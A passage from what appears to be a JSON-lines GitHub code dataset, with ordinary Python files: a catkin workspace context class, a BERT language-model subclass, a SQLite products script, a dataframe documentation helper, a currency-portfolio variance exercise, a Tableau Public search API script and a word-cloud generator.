CMAKE_PREFIX_PATH. Is it missing or not built yet?\\\\n\\\\n\"\n \"@{cf}Underlays :@{yf}{_Context__underlays}@|\\\\n\"\n \"@{cf}Cached CMAKE_PREFIX_PATH: @|@{yf}%s@|\"\n % (self.cached_cmake_prefix_path))]\n\n elif self.env_cmake_prefix_path and\\\n self.cached_cmake_prefix_path and\\\n self.env_cmake_prefix_path != self.cached_cmake_prefix_path:\n self.warnings += [clr(\n \"Your current environment's CMAKE_PREFIX_PATH is different \"\n \"from the cached CMAKE_PREFIX_PATH used the last time this \"\n \"workspace was built.\\\\n\\\\n\"\n \"If you want to use a different CMAKE_PREFIX_PATH you should \"\n \"call @{yf}`catkin clean`@| to remove all references to \"\n \"the previous CMAKE_PREFIX_PATH.\\\\n\\\\n\"\n \"@{cf}Cached CMAKE_PREFIX_PATH:@|\\\\n\\\\t@{yf}%s@|\\\\n\"\n \"@{cf}Current CMAKE_PREFIX_PATH:@|\\\\n\\\\t@{yf}%s@|\" %\n (self.cached_cmake_prefix_path, self.env_cmake_prefix_path))]\n\n # Check if prefix path is different from the environment prefix path\n if self.manual_cmake_prefix_path:\n self.cmake_prefix_path = self.manual_cmake_prefix_path\n elif self.cached_cmake_prefix_path:\n self.cmake_prefix_path = self.cached_cmake_prefix_path\n else:\n self.cmake_prefix_path = self.env_cmake_prefix_path\n\n def summary(self, notes=[]):\n # Add warnings (missing dirs in CMAKE_PREFIX_PATH, etc)\n summary_warnings = self.warnings\n if not self.initialized():\n summary_warnings += [clr(\n \"Workspace `@{yf}{_Context__workspace}@|` is not yet \"\n \"initialized. Use the `catkin init` or run `catkin config \"\n \"--init`.\")]\n if not self.source_space_exists():\n summary_warnings += [clr(\n \"Source space `@{yf}{_Context__source_space_abs}@|` does not yet exist.\")]\n\n summary = [\n [\n clr(\"@{cf}Profile:@| @{yf}{profile}@|\"),\n clr(\"@{cf}Underlays:@| {underlay_mode} @{yf}{underlays}@|\"),\n clr(\"@{cf}Workspace:@| @{yf}{_Context__workspace}@|\"),\n ],\n [\n clr(\"@{cf}Source Space:@| {source_missing} @{yf}{_Context__source_space_abs}@|\"),\n clr(\"@{cf}Doc Space:@| {log_missing} @{yf}{_Context__doc_space_abs}@|\"),\n clr(\"@{cf}Log Space:@| {log_missing} @{yf}{_Context__log_space_abs}@|\"),\n clr(\"@{cf}Build Space:@| {build_missing} @{yf}{_Context__build_space_abs}@|\"),\n clr(\"@{cf}Devel Space:@| {devel_missing} @{yf}{_Context__devel_space_abs}@|\"),\n clr(\"@{cf}Install Space:@| {install_missing} @{yf}{_Context__install_space_abs}@|\"),\n clr(\"@{cf}DESTDIR:@| {destdir_missing} @{yf}{_Context__destdir}@|\")\n ],\n [\n clr(\"@{cf}Devel Space Layout:@| @{yf}{_Context__devel_layout}@|\"),\n clr(\"@{cf}Install Space Layout:@| @{yf}{install_layout}@|\"),\n ],\n [\n clr(\"@{cf}Additional CMake Args:@| @{yf}{cmake_args}@|\"),\n clr(\"@{cf}Additional Make Args:@| @{yf}{make_args}@|\"),\n clr(\"@{cf}Additional catkin Make Args:@| @{yf}{catkin_make_args}@|\"),\n clr(\"@{cf}Internal Make Job Server:@| @{yf}{_Context__use_internal_make_jobserver}@|\"),\n clr(\"@{cf}Cache Job Environments:@| @{yf}{_Context__use_env_cache}@|\"),\n ],\n [\n clr(\"@{cf}Whitelisted Packages:@| @{yf}{whitelisted_packages}@|\"),\n clr(\"@{cf}Blacklisted Packages:@| @{yf}{blacklisted_packages}@|\"),\n ],\n [\n clr(\"@{cf}Platform:@| @{yf}{_Context__platform}@|\"),\n clr(\"@{cf}Toolchain:@| @{yf}{_Context__toolchain}@|\"),\n ]\n ]\n\n # Construct string for extend value\n if self.underlays:\n underlay_value = self.underlays\n if self.cached_cmake_prefix_path:\n if self.cached_cmake_prefix_path != self.underlays:\n underlay_value += '\\n' + ' '*20\n underlay_value += clr('@{rf}[cached] @|@{yf}%s@|' % self.cached_cmake_prefix_path)\n underlay_mode = clr('@{gf}[explicit]@|')\n elif self.cached_cmake_prefix_path:\n underlay_value = self.cmake_prefix_path\n underlay_mode = clr(' @{gf}[cached]@|')\n elif (self.env_cmake_prefix_path and\n self.env_cmake_prefix_path != self.devel_space_abs and\n self.env_cmake_prefix_path != self.install_space_abs):\n underlay_value = self.cmake_prefix_path\n underlay_mode = clr(' @{gf}[env]@|')\n else:\n underlay_value = 'None'\n underlay_mode = clr(' ')\n\n def existence_str(path, used=True):\n if used:\n return clr(' @{gf}[exists]@|' if os.path.exists(path) else '@{rf}[missing]@|')\n else:\n return clr(' @{bf}[unused]@|')\n\n install_layout = 'None'\n if self.__install:\n install_layout = 'merged' if not self.__isolate_install else 'isolated'\n\n subs = {\n 'profile': self.profile,\n 'underlay_mode': underlay_mode,\n 'underlays': underlay_value,\n 'install_layout': install_layout,\n 'cmake_prefix_path': (self.cmake_prefix_path or ['Empty']),\n 'cmake_args': ' '.join(self.__cmake_args or ['None']),\n 'make_args': ' '.join(self.__make_args + self.__jobs_args or ['None']),\n 'catkin_make_args': ', '.join(self.__catkin_make_args or ['None']),\n 'source_missing': existence_str(self.source_space_abs),\n 'doc_missing': existence_str(self.doc_space_abs),\n 'log_missing': existence_str(self.log_space_abs),\n 'build_missing': existence_str(self.build_space_abs),\n 'devel_missing': existence_str(self.devel_space_abs),\n 'install_missing': existence_str(self.install_space_abs, used=self.__install),\n 'destdir_missing': existence_str(self.destdir, used=self.destdir),\n 'whitelisted_packages': ' '.join(self.__whitelist or ['None']),\n 'blacklisted_packages': ' '.join(self.__blacklist or ['None']),\n }\n subs.update(**self.__dict__)\n # Get the width of the shell\n width = terminal_width()\n max_length = 0\n groups = []\n for group in summary:\n for index, line in enumerate(group):\n group[index] = line.format(**subs)\n max_length = min(width, max(max_length, len(remove_ansi_escape(group[index]))))\n groups.append(\"\\n\".join(group))\n divider = clr('@{pf}' + ('-' * max_length) + '@|')\n warning_divider = clr('@{rf}' + ('-' * max_length) + '@|')\n\n # Format warnings\n if len(summary_warnings) == 0:\n notes = [clr(\"@!@{cf}Workspace configuration appears valid.@|\")] + notes\n warnings_joined = ''\n else:\n warnings_formatted = [\n printed_fill(clr('@!@{rf}WARNING:@| ') + sw.format(**subs), max_length)\n for sw in summary_warnings]\n warnings_joined = (\n \"\\n\\n\" + warning_divider + \"\\n\" +\n (\"\\n\" + warning_divider + \"\\n\").join(warnings_formatted) +\n \"\\n\" + warning_divider + \"\\n\")\n\n return (divider + \"\\n\" +\n (\"\\n\" + divider + \"\\n\").join(groups) + \"\\n\" + divider + \"\\n\" +\n (((\"\\n\\n\").join(notes) + \"\\n\" + divider) if notes else '') +\n warnings_joined)\n\n @property\n def workspace(self):\n return self.__workspace\n\n @workspace.setter\n def workspace(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n # Validate Workspace\n if not os.path.exists(value):\n raise ValueError(\"Workspace path '{0}' does not exist.\".format(value))\n self.__workspace = os.path.abspath(value)\n\n @property\n def underlays(self):\n return self.__underlays\n\n @underlays.setter\n def underlays(self, value):\n# if value is not None:\n# for v in value.split(';'):\n# if not os.path.isabs(v):\n# v = os.path.join(self.workspace, v)\n# # remove double or trailing slashes\n# v = os.path.normpath(v)\n# if not os.path.exists(v):\n# raise ValueError(\"Resultspace path '{0}' does not exist.\".format(v))\n self.__underlays = value\n\n @property\n def source_space_abs(self):\n return self.__source_space_abs\n\n @property\n def source_space(self):\n return self.__source_space\n\n @source_space.setter\n def source_space(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__source_space = value\n self.__source_space_abs = os.path.join(self.__workspace, value)\n\n def source_space_exists(self):\n \"Returns true if the source space exists\"\n return os.path.exists(self.source_space_abs) and os.path.isdir(self.source_space_abs)\n\n def initialized(self):\n \"\"\"Check if this context is initialized.\"\"\"\n return self.workspace == find_enclosing_workspace(self.workspace)\n\n @property\n def doc_space_abs(self):\n return self.__doc_space_abs\n\n @property\n def doc_space(self):\n return self.__doc_space\n\n @doc_space.setter\n def doc_space(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__doc_space = value\n self.__doc_space_abs = os.path.join(self.__workspace, value)\n\n @property\n def log_space_abs(self):\n return self.__log_space_abs\n\n @property\n def log_space(self):\n return self.__log_space\n\n @log_space.setter\n def log_space(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__log_space = value\n self.__log_space_abs = os.path.join(self.__workspace, value)\n\n @property\n def build_space_abs(self):\n return self.__build_space_abs\n\n @property\n def build_space(self):\n return self.__build_space\n\n @build_space.setter\n def build_space(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__build_space = value\n self.__build_space_abs = os.path.join(self.__workspace, value)\n\n @property\n def build_root_abs(self):\n return self.__build_root_abs\n\n @property\n def build_root(self):\n return self.__build_root\n\n @build_root.setter\n def build_root(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__build_root = value\n self.__build_root_abs = os.path.join(self.__workspace, value) if value else self.__workspace\n\n @property\n def devel_space_abs(self):\n return self.__devel_space_abs\n\n @property\n def devel_space(self):\n return self.__devel_space\n\n @devel_space.setter\n def devel_space(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__devel_space = value\n self.__devel_space_abs = os.path.join(self.__workspace, value)\n\n @property\n def install_space_abs(self):\n return self.__install_space_abs\n\n @property\n def install_space(self):\n return self.__install_space\n\n @install_space.setter\n def install_space(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__install_space = value\n self.__install_space_abs = os.path.join(self.__workspace, value)\n\n @property\n def destdir(self):\n return self.__destdir\n\n @destdir.setter\n def destdir(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__destdir = value\n\n @property\n def devel_layout(self):\n return self.__devel_layout\n\n @devel_layout.setter\n def devel_layout(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__devel_layout = value\n\n @property\n def merge_devel(self):\n return self.devel_layout == 'merged'\n\n @property\n def link_devel(self):\n return self.devel_layout == 'linked'\n\n @property\n def isolate_devel(self):\n return self.devel_layout == 'isolated'\n\n @property\n def install(self):\n return self.__install\n\n @install.setter\n def install(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__install = value\n\n @property\n def merge_install(self):\n return not self.__isolate_install\n\n @property\n def isolate_install(self):\n return self.__isolate_install\n\n @isolate_install.setter\n def isolate_install(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__isolate_install = value\n\n @property\n def cmake_args(self):\n return self.__cmake_args\n\n @cmake_args.setter\n def cmake_args(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__cmake_args = value\n\n @property\n def make_args(self):\n return self.__make_args\n\n @make_args.setter\n def make_args(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__make_args = value\n\n @property\n def jobs_args(self):\n return self.__jobs_args\n\n @jobs_args.setter\n def jobs_args(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__jobs_args = value\n\n @property\n def use_internal_make_jobserver(self):\n return self.__use_internal_make_jobserver\n\n @use_internal_make_jobserver.setter\n def use_internal_make_jobserver(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__use_internal_make_jobserver = value\n\n @property\n def use_env_cache(self):\n return self.__use_env_cache\n\n @use_env_cache.setter\n def use_env_cache(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__use_env_cache = value\n\n @property\n def catkin_make_args(self):\n return self.__catkin_make_args\n\n @catkin_make_args.setter\n def catkin_make_args(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__catkin_make_args = value\n\n @property\n def packages(self):\n return self.__packages\n\n @packages.setter\n def packages(self, value):\n if self.__locked:\n raise RuntimeError(\"Setting of context members is not allowed while locked.\")\n self.__packages = value\n\n @property\n def whitelist(self):\n return self.__whitelist\n\n @whitelist.setter\n def whitelist(self, value):\n self.__whitelist = value\n\n @property\n def blacklist(self):\n return self.__blacklist\n\n @blacklist.setter\n def blacklist(self, value):\n self.__blacklist = value\n\n @property\n def platform(self):\n return self.__platform\n\n @platform.setter\n def platform(self, value):\n self.__platform = value\n\n @property\n def toolchain(self):\n return self.__toolchain\n\n @toolchain.setter\n def toolchain(self, value):\n self.__toolchain = value\n\n @property\n def private_devel_path(self):\n \"\"\"The path to the hidden directory in the develspace that\n contains the symbollically-linked isolated develspaces.\"\"\"\n return os.path.join(self.devel_space_abs, '.private')\n\n def package_private_devel_path(self, package):\n \"\"\"The path to the linked devel space for a given package.\"\"\"\n return os.path.join(self.private_devel_path, package.name)\n\n def package_build_space(self, package):\n \"\"\"Get the build directory for a specific package.\"\"\"\n return os.path.join(self.build_space_abs, package.name)\n\n def package_devel_space(self, package):\n \"\"\"Get the devel directory for a specific package.\n This is the root of the FHS layout where products are generated.\n \"\"\"\n if self.merge_devel:\n return self.devel_space_abs\n elif self.isolate_devel:\n return os.path.join(self.devel_space_abs, package.name)\n elif self.link_devel:\n return os.path.join(self.private_devel_path, package.name)\n else:\n raise ValueError('Unkown devel space layout: {}'.format(self.devel_layout))\n\n def package_install_space(self, package):\n \"\"\"Get the install directory for a specific package.\n This is the root of the FHS layout where products are installed.\n \"\"\"\n\n if self.merge_install:\n return self.install_space_abs\n elif self.isolate_install:\n return os.path.join(self.install_space_abs, package.name)\n else:\n raise ValueError('Unkown install space layout: {}'.format(self.devel_layout))\n\n def package_dest_path(self, package):\n \"\"\"Get the intermediate destination into which a specific package is built.\"\"\"\n\n if self.destdir is None:\n return self.package_final_path(package)\n else:\n return os.path.join(\n self.destdir,\n self.package_install_space(package).lstrip(os.sep))\n\n def package_final_path(self, package):\n \"\"\"Get the final destination into which a specific package is deployed.\"\"\"\n\n if self.install:\n return self.package_install_space(package)\n else:\n if self.link_devel:\n return self.devel_space_abs\n else:\n return self.package_devel_space(package)\n\n def metadata_path(self):\n \"\"\"Get the path to the metadata directory for this profile.\"\"\"\n profile_path, _ = metadata.get_paths(self.workspace, self.profile)\n return profile_path\n\n def package_metadata_path(self, package=None):\n \"\"\"Get the workspace and profile-specific metadata path for a package\"\"\"\n profile_path, _ = metadata.get_paths(self.workspace, self.profile)\n if package is None:\n return os.path.join(profile_path, 'packages')\n return os.path.join(profile_path, 'packages', package.name)\n","repo_name":"stonier/ckx_tools","sub_path":"ckx_tools/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":35709,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"27590513484","text":"from transformers.modeling_bert import BertForMaskedLM, BertOnlyNSPHead\nfrom torch import nn\nfrom torch.nn import CrossEntropyLoss, MSELoss\n\nclass BertMouth(BertForMaskedLM):\n def __init__(self, config):\n super().__init__(config)\n self.num_labels = config.num_labels\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n self.classifier = nn.Linear(config.hidden_size, config.num_labels)\n self.clsNSP = BertOnlyNSPHead(config)\n\n self.init_weights()\n\n def forward(\n self, input_ids=None, attention_mask=None, token_type_ids=None,\n position_ids=None, head_mask=None, inputs_embeds=None, \n masked_lm_labels=None, encoder_hidden_states=None, \n encoder_attention_mask=None, lm_labels=None,\n next_sentence_label=None, ):\n\n outputs = self.bert(\n input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids, \n position_ids=position_ids, head_mask=head_mask, \n inputs_embeds=inputs_embeds, encoder_hidden_states=encoder_hidden_states, \n encoder_attention_mask=encoder_attention_mask, )\n \n sequence_output = outputs[0]\n prediction_scores = self.cls(sequence_output)\n pooled_output = outputs[1]\n seq_relationship_score = self.clsNSP(pooled_output)\n\n outputs = (prediction_scores,) + outputs[2:]\n outputs = (seq_relationship_score,) + outputs\n\n if masked_lm_labels is not None:\n loss_fct = CrossEntropyLoss()\n masked_lm_loss = loss_fct(\n prediction_scores.view(-1, self.config.vocab_size), \n masked_lm_labels.view(-1))\n outputs = (masked_lm_loss,) + outputs\n if lm_labels is not None:\n prediction_scores = prediction_scores[:, :-1, :].contiguous()\n lm_labels = lm_labels[:, 1:].contiguous()\n loss_fct = CrossEntropyLoss()\n ltr_lm_loss = loss_fct(\n prediction_scores.view(-1, self.config.vocab_size), lm_labels.view(-1))\n outputs = (ltr_lm_loss,) + outputs\n\n # Next Sentence Prediction loss\n if next_sentence_label is not None:\n loss_fct = CrossEntropyLoss()\n next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), next_sentence_label.view(-1))\n outputs = (next_sentence_loss,) + outputs\n\n # classifier loss\n sequence_output = self.dropout(sequence_output)\n logits = self.classifier(sequence_output)\n outputs = (logits, ) + outputs\n\n return outputs","repo_name":"EisakuHiguchi/BertMouth","sub_path":"LMmodel.py","file_name":"LMmodel.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"41666922945","text":"\n# BBDDD III\n# \n\nimport sqlite3\n\nmiConexion = sqlite3.connect(\"BBDD III/GestionProductos_id\")\nmiCursor = miConexion.cursor()\n\nmiCursor.execute('''\n CREATE TABLE PRODUCTOS (\n ID INTEGER PRIMARY KEY AUTOINCREMENT,\n NOMBRE_ARTICULO VARCHAR(50),\n PRECIO INTEGER,\n SECCION VARCHAR(20))\n''')\n\nproductos=[\n\n (\"Peleta\", 20, \"Jugueteria\"),\n (\"Pantalon\", 15, \"Confeccion\"),\n (\"Destornillador\", 25, \"Ferreteria\"),\n (\"Jarron\", 45, \"Ceramica\")\n\n]\n\nmiCursor.executemany(\"INSERT INTO PRODUCTOS VALUES (NULL,?,?,?)\", productos)\n\n\nmiConexion.commit()\nmiConexion.close()\n","repo_name":"BrianMarquez3/Python-Course","sub_path":"BBDD III/id.py","file_name":"id.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"es","doc_type":"code","stars":26,"dataset":"github-code","pt":"48"} +{"seq_id":"41335547300","text":"from src.util.timer import Timer\nimport pandas as pd\n\n\nclass TransformationsDoc():\n\n def __init__(self, description=\"\", display=True, is_train=True):\n self.docs = []\n\n self.header = [\n \"description\",\n \"n_rows\",\n \"diff_rows\",\n \"n_columns\",\n \"columns\",\n \"n_new_columns\",\n \"new_columns\",\n \"n_deleted_columns\",\n \"deleted_columns\",\n \"null_percentage\",\n \"time\"\n ]\n\n self.start_description = description\n self.display = display\n self.is_train = is_train\n\n self.final_docs=None\n self.saved=False\n\n def _get_dataframe_info(self, df):\n n_rows, n_columns = df.shape\n columns = list(df.columns)\n return n_rows, n_columns, columns\n\n def set_description(self, text):\n self.start_description = text\n\n def start(self, description, df):\n self.description = description\n self.n_rows, self.n_columns, self.columns = self._get_dataframe_info(df)\n\n if len(self.docs) == 0:\n self.docs.append(\n [\n \"Start - \" + self.start_description,\n self.n_rows,\n 0,\n self.n_columns,\n self.columns,\n 0,\n [],\n 0,\n [],\n [],\n '0.0s'\n ]\n )\n\n # start timer\n if self.display:\n print(\"\\n\" + description)\n\n self.timer = Timer(self.display)\n\n def end(self, df):\n # stop timer\n time = self.timer.stop()\n\n # check differences\n n_rows, n_columns, columns = self._get_dataframe_info(df)\n diff_rows = n_rows - self.n_rows\n\n # set new columns\n new_columns = [x for x in columns if not x in self.columns]\n n_new_columns = len(new_columns)\n\n # set deleted\n deleted_columns = [x for x in self.columns if not x in columns]\n n_deleted_columns = len(deleted_columns)\n\n # set percentage null\n percentage_null = []\n for column in list(df.columns):\n null_percentage = df[column].isnull().sum() / len(df) * 100\n if null_percentage == 0:\n continue\n value = (column, null_percentage)\n percentage_null.append(value)\n\n percentage_null.sort(key=lambda x:-x[1])\n\n # add to docs\n self.docs.append(\n [\n self.description,\n n_rows,\n diff_rows,\n n_columns,\n columns,\n n_new_columns,\n new_columns,\n n_deleted_columns,\n deleted_columns,\n percentage_null,\n time\n ]\n )\n\n def save(self):\n if self.saved:\n return self.final_docs\n\n # sum column time\n time = [x[-1] for x in self.docs]\n seconds = 0\n\n for item in time:\n items = item.split()\n if len(items) == 2:\n seconds += float(items[0][:-1]) * 60\n seconds += float(items[-1][:-1])\n\n time = \"{}m {}s\".format(int(seconds / 60), seconds % 60)\n\n # new columns\n new_columns = [x for x in self.docs[-1][4] if not x in self.docs[0][4]]\n n_new_columns = len(new_columns)\n\n # delete columns\n deleted_columns = [x for x in self.docs[0][4] if not x in self.docs[-1][4]]\n n_deleted_columns = len(deleted_columns)\n\n # set percentage null\n percentage_null = self.docs[-1][-2]\n\n # add conclusion row\n self.docs.append(\n [\n \"Conclusion\",\n self.docs[-1][1],\n self.docs[-1][1] - self.docs[0][1],\n self.docs[-1][3],\n self.docs[-1][4],\n n_new_columns,\n new_columns,\n n_deleted_columns,\n deleted_columns,\n percentage_null,\n time\n ]\n )\n\n # to dataframe\n docs = {}\n for row in self.docs:\n for i, column in enumerate(self.header):\n if not column in docs:\n docs[column] = []\n docs[column].append(row[i])\n\n self.final_docs = pd.DataFrame(docs)\n self.saved=True\n return self.final_docs\n","repo_name":"Data-Science-Knowledge-Center-Nova-SBE/retention-evaluation","sub_path":"src/documentation/transformations_doc.py","file_name":"transformations_doc.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"643078027","text":"import pandas as pd\nimport qrbook_funcs as qf\nimport numpy as np\n#Get 3 currencies until the end of\n#previous year. Form sample covariance matrix\n#and do simple efficient frontier calculations\n\nlastday=qf.LastYearEnd()\n#Swiss franc, pound sterling, Japanese Yen\nseriesnames=['DEXSZUS','DEXUSUK','DEXJPUS']\ncdates,ratematrix=qf.GetFREDMatrix(seriesnames,enddate=\"2017-12-29\")\nmultipliers=[-1,1,-1]\ndlgs=[]\nfor i in range(len(multipliers)):\n lgrates=[]\n previous=-1\n for t in range(len(ratematrix)):\n if pd.isna(ratematrix[t][i]) or ratematrix[t][i]<=0:\n lgrates.append(np.nan) #Append a nan\n else:\n if previous < 0: #This is the first data point\n lgrates.append(np.nan)\n else:\n lgrates.append(np.log(ratematrix[t][i]/previous)*multipliers[i])\n previous=ratematrix[t][i]\n dlgs.append(lgrates)\n\n#dlgs is the transpose of what we want - flip it\ndlgs=np.transpose(dlgs)\n\n#Delete any time periods that don't have data\nlgdates=[]\ndifflgs=[]\nfor t in range(len(dlgs)):\n if all(pd.notna(dlgs[t])):\n #include this time period\n difflgs.append(dlgs[t])\n lgdates.append(cdates[t])\n\n#Mean vector and covariance matrix are inputs to efficient frontier calculations\nd=np.array(difflgs)\nm=np.mean(d,axis=0)\nc=np.cov(d.T)\n\nprev_sig=np.sqrt(np.diag(np.diag(c)))\nprev_sig_inverse=np.linalg.inv(prev_sig)\nprev_r_matrix=np.matmul(np.matmul(prev_sig_inverse,c),prev_sig_inverse)\n\nprev_dim=3\nprev_avg_corr=(np.sum(prev_r_matrix)-prev_dim)/(prev_dim**2-prev_dim)\n\nC_rho=np.matmul(np.matmul(prev_sig,(np.ones((prev_dim,prev_dim))*prev_avg_corr+np.identity(prev_dim)*(1-prev_avg_corr))),prev_sig,)\n\nC_new=1/3*C_rho+(1-1/3)*c\n\nci=np.linalg.inv(c)\nuciu=np.sum(ci)\nu=[1]*3\nportfolio=np.matmul(ci,u)/uciu\nprint(\"minimum variance portfolio w1 is: \"+str(portfolio))\n\nci_new=np.linalg.inv(C_new)\nuciu_new=np.sum(ci_new)\nu=[1]*3\nportfolio_new=np.matmul(ci_new,u)/uciu_new\nprint(\"minimum variance portfolio w2 is:\"+str(portfolio_new))\n\ncdates,ratematrix=qf.GetFREDMatrix(seriesnames,startdate='2018-01-01',enddate=\"2018-12-31\")\nmultipliers=[-1,1,-1]\ndlgs=[]\nfor i in range(len(multipliers)):\n lgrates=[]\n previous=-1\n for t in range(len(ratematrix)):\n if pd.isna(ratematrix[t][i]) or ratematrix[t][i]<=0:\n lgrates.append(np.nan) #Append a nan\n else:\n if previous < 0: #This is the first data point\n lgrates.append(np.nan)\n else:\n lgrates.append(np.log(ratematrix[t][i]/previous)*multipliers[i])\n previous=ratematrix[t][i]\n dlgs.append(lgrates)\n\n#dlgs is the transpose of what we want - flip it\ndlgs=np.transpose(dlgs)\n\n#Delete any time periods that don't have data\nlgdates=[]\ndifflgs=[]\nfor t in range(len(dlgs)):\n if all(pd.notna(dlgs[t])):\n #include this time period\n difflgs.append(dlgs[t])\n lgdates.append(cdates[t])\n\n#Mean vector and covariance matrix are inputs to efficient frontier calculations\nd=np.array(difflgs)\nm=np.mean(d,axis=0)\nc_2018=np.cov(d.T)\n\nvariance_old=np.matmul(portfolio,np.matmul(c_2018,portfolio))\nprint(\"variance 1 is: \"+str(variance_old*1e4))\n\nvariance_new=np.matmul(portfolio_new,np.matmul(c_2018,portfolio_new))\nprint(\"variance 2 is: \"+str(variance_new*1e4))\n","repo_name":"yifanlee1128/PythonProject_Coursework_Risk","sub_path":"Assignment6/MyCodeForHW6Q2.py","file_name":"MyCodeForHW6Q2.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31138523810","text":"import json\nimport pandas as pd\nimport urllib3\n\n# do API call to search for top 20 \"maps\" from Tableau Public search\napi_call = \"https://public.tableau.com/api/search/query?count=20&language=en-us&query=maps&start=0&type=vizzes\"\nhttp = urllib3.PoolManager()\nsearch_call = json.loads(http.request('GET',api_call).data)\n\n# convert json to dataframe structure just for search reults\ndf = pd.json_normalize(search_call['results'], max_level=0)\n\n# Not there are additional nodes in the data frame so we need to\n# normalise more nodes to get details of workbooks and authors\nworkbook_meta = pd.json_normalize(df['workbookMeta'], max_level=0)\nworkbooks = pd.json_normalize(df['workbook'], max_level=0)\n\n# concat normalized nodes together\nsearch_results = pd.concat([workbook_meta,workbooks], axis=1)\n\n# delete unneccessary column\ndel search_results['viewInfos']\n\nprint(search_results)\n\n# Save locally\nsearch_results.to_csv('tableau_public_search_results.csv', index=False)\n\n","repo_name":"wjsutton/tableau_public_api","sub_path":"Python/search_example.py","file_name":"search_example.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"73711327506","text":"import sys\nfrom wordcloud import WordCloud\nimport codecs\n\nstopwords = set([\"a\", \"able\", \"about\", \"across\", \"after\", \"all\", \"almost\",\n \"also\", \"am\", \"among\", \"an\", \"and\", \"any\", \"are\", \"as\", \"at\",\n \"be\", \"because\", \"been\", \"but\", \"by\", \"can\", \"cannot\",\n \"could\", \"dear\", \"did\", \"do\", \"does\", \"either\", \"else\",\n \"ever\", \"every\", \"for\", \"from\", \"get\", \"got\", \"had\", \"has\",\n \"have\", \"he\", \"her\", \"hers\", \"him\", \"his\", \"how\", \"however\",\n \"i\", \"if\", \"in\", \"into\", \"is\", \"it\", \"its\", \"just\", \"least\",\n \"let\", \"like\", \"likely\", \"may\", \"me\", \"might\", \"most\",\n \"must\", \"my\", \"neither\", \"no\", \"nor\", \"not\", \"of\", \"off\",\n \"often\", \"on\", \"only\", \"or\", \"other\", \"our\", \"own\", \"rather\",\n \"said\", \"say\", \"says\", \"she\", \"should\", \"since\", \"so\",\n \"some\", \"than\", \"that\", \"the\", \"their\", \"them\", \"then\",\n \"there\", \"these\", \"they\", \"this\", \"tis\", \"to\", \"too\", \"twas\",\n \"us\", \"wants\", \"was\", \"we\", \"were\", \"what\", \"when\", \"where\",\n \"which\", \"while\", \"who\", \"whom\", \"why\", \"will\", \"with\",\n \"would\", \"yet\", \"you\", \"your\", \"you're'\"])\n\n#random words that showed up alot\nstopwords.update(['rt', 'trump', 'hillary', 'co', 'com', 'www', 'twitter',\n 'donald', 'clinton', 'hillaryclinton', 'debatenight', 'presidentialdebate',\n 'debates2016', 'retweet', 'follow', 'thebriefing2016', \n 'realdonaldtrump', 'debate', 'tonight\\'s', 'poll', 'status', 'tonight', 'vote'\n 'american', 'america', 'during', 'media', 'presidential',\n 'watch', 'cnn', 'foxnews', 'i\\'ve', 'can\\'t', 'breaking', 'vote', 'debates', \n 'ahead', 'one','polls', 'clinton\\'s', 'debate2016', 'trump\\'', 'trump\\'s'])\n#questionable words to filter\nstopwords.update(['teamtrump', 'president', 'good', 'hilary', 'keep', 'never',\n 'think', 'first', 'time', 'make', 'take', 'more', 'keep'])\nstopwords.update(['https', 'http', 'deleted', 'gt'])\nstopwords.update(map(str, range(10) ))\n\nfilename = sys.argv[1]\n\n# text = codecs.open(str(filename), \"r\", encoding='utf-8', errors='ignore').read()\ntext = open(str(filename), \"r\").read()\n\n\n# cloud = WordCloud().generate(text)\n\nimport matplotlib.pyplot as plt\n# plt.imshow(cloud)\n# plt.axis(\"off\")\n\n# take relative word frequencies into account, lower max_font_size\nwordcloud = WordCloud(width=1600, \n height=1000, \n max_words=200,\n max_font_size=None, \n relative_scaling=.5,\n stopwords=stopwords).generate(text)\nplt.figure()\nplt.imshow(wordcloud)\nplt.axis(\"off\")\nplt.show()","repo_name":"JLHasson/debate-tweets-2016","sub_path":"scripts/cloud.py","file_name":"cloud.py","file_ext":"py","file_size_in_byte":2809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42712910545","text":"def 